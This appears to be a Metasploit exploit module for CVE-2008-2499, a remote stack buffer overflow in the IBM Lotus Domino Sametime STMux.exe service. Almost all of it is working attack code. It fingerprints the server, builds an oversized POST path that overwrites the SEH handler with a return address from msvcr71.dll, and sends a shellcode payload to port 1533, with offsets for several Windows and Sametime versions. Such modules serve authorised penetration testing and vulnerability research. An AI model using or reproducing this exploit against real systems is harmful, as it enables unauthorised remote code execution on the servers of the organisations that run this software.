IBM Lotus Domino Sametime - 'STMux.exe' Remote Stack Buffer Overflow (Metasploit)

##
# $Id: domino_sametime_stmux.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'IBM Lotus Domino Sametime STMux.exe Stack Buffer Overflow',
			'Description'	=> %q{
					This module exploits a stack buffer overflow in Lotus Domino\'s Sametime
				Server. By sending an overly long POST request to the Multiplexer
				STMux.exe service we are able to overwrite SEH. Based on the exploit
				by Manuel Santamarina Suarez.
			},
			'Author'		   => [ 'patrick', 'riaf <[email protected]>' ],
			'Arch'			=> [ ARCH_X86 ],
			'License'		=> MSF_LICENSE,
			'Version'		=> '$Revision: 9262 $',
			'References'	=>
				[
					[ 'CVE', '2008-2499' ],
					[ 'OSVDB', '45610' ],
					[ 'BID', '29328' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-08-028/' ],
				],
			'Privileged'		=> true,
			'DefaultOptions'	=>
				{
					'EXITFUNC' => 'seh',
				},
			'Payload'		=>
				{
					'Space'			=> 1024,
					'BadChars'		=> "\x00\x0a\x0d",
					'StackAdjustment'	=> -3500,
				},
			'Platform' => ['win'],
			'Targets'  =>
				[
					# Patrick - Tested OK against Windows 2003 SP1 20081114
					[ 'Lotus Sametime 7.5 on Windows Server 2000 SP4', { 'Ret' => 0x7c3410c2, 'Offset' => [ 3, 268 ] }], # pop ecx, pop exc, ret msvcr71.dll
					[ 'Lotus Sametime 7.5 on Windows Server 2003 SP1', { 'Ret' => 0x7c3410c2, 'Offset' => [ 3, 269 ] }], # pop ecx, pop exc, ret msvcr71.dll
					[ 'Lotus Sametime 7.5 on Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 4, 269 ] }],
					[ 'Lotus Sametime 7.5.1  Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 5, 269 ] }],
					[ 'Lotus Sametime 8.0.0  Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 4, 269 ] }],
				],
			'DisclosureDate' => 'May 21 2008',
			'DefaultTarget' => 1))

		register_options(
			[
				Opt::RPORT(1533),
			], self.class)
	end

	def check
		connect

		req = "HEAD / HTTP/1.0\r\n\r\n"
		req << "User-Agent: Sametime Community Agent\r\n"
		req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
		sock.put(req)
		res = sock.get_once(-1,3)

		disconnect

		if (res =~/Lotus-Domino/)
			connect

			req = "GET /CommunityCBR HTTP/1.0\r\n\r\n"
			req << "User-Agent: Sametime Community Agent\r\n"
			req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
			sock.put(req)
			res = sock.get_once(-1,3)

			disconnect

			if (res =~/200 OK/)
				return Exploit::CheckCode::Detected
			end
		end

		return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		pad1 = rand_text_alpha_lower(44)
		pad2 = rand_text_alpha_lower(29)

		# Patrick - We should use Metasm here.
		popebx = Metasm::Shellcode.assemble(Metasm::Ia32.new, "pop ebx").encode_string * target['Offset'][0]
		popad	 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "popad").encode_string * target['Offset'][1]
		esp  = "\xff\x24\x24" # dword ptr ss:[esp]
		jmp  = "\x74\x23" + "\x75\x21" # je short, jnz short
		seh = [target['Ret']].pack('V')

		path = pad1 + jmp + seh + pad2 + popebx + popad + esp

		req = "POST /CommunityCBR/CC.39.#{path}/\r\n"
		req << "User-Agent: Sametime Community Agent\r\n"
		req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
		req << "Content-Length: #{payload.encoded.length}\r\n"
		req << "Connection: Close\r\n"
		req << "Cache-Control: no-cache\r\n\r\n"
		req << payload.encoded

		sock.put(req)

		handler
		disconnect
	end
end